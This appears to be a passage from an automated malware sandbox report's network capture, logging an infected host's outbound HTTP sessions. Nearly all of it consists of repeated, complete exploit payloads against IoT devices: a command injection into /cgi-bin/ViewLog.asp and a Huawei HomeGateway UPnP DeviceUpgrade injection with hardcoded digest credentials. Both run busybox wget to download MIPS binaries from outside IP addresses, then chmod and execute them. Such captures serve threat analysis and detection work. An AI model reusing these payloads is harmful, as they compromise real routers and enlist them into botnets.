                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                137192.168.2.154211095.86.119.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.953115940 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                138192.168.2.155938031.192.199.1908080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:26.315423012 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:20:25 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                139192.168.2.1543648156.254.110.17237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.087171078 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:30.716166019 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:32.636105061 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:36.672004938 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:44.351813078 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:59.707477093 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:31.450640917 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                140192.168.2.155377462.34.72.2298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.440321922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.572114944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                141192.168.2.155513294.122.31.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.467133999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                142192.168.2.154256694.121.190.478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.467432022 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
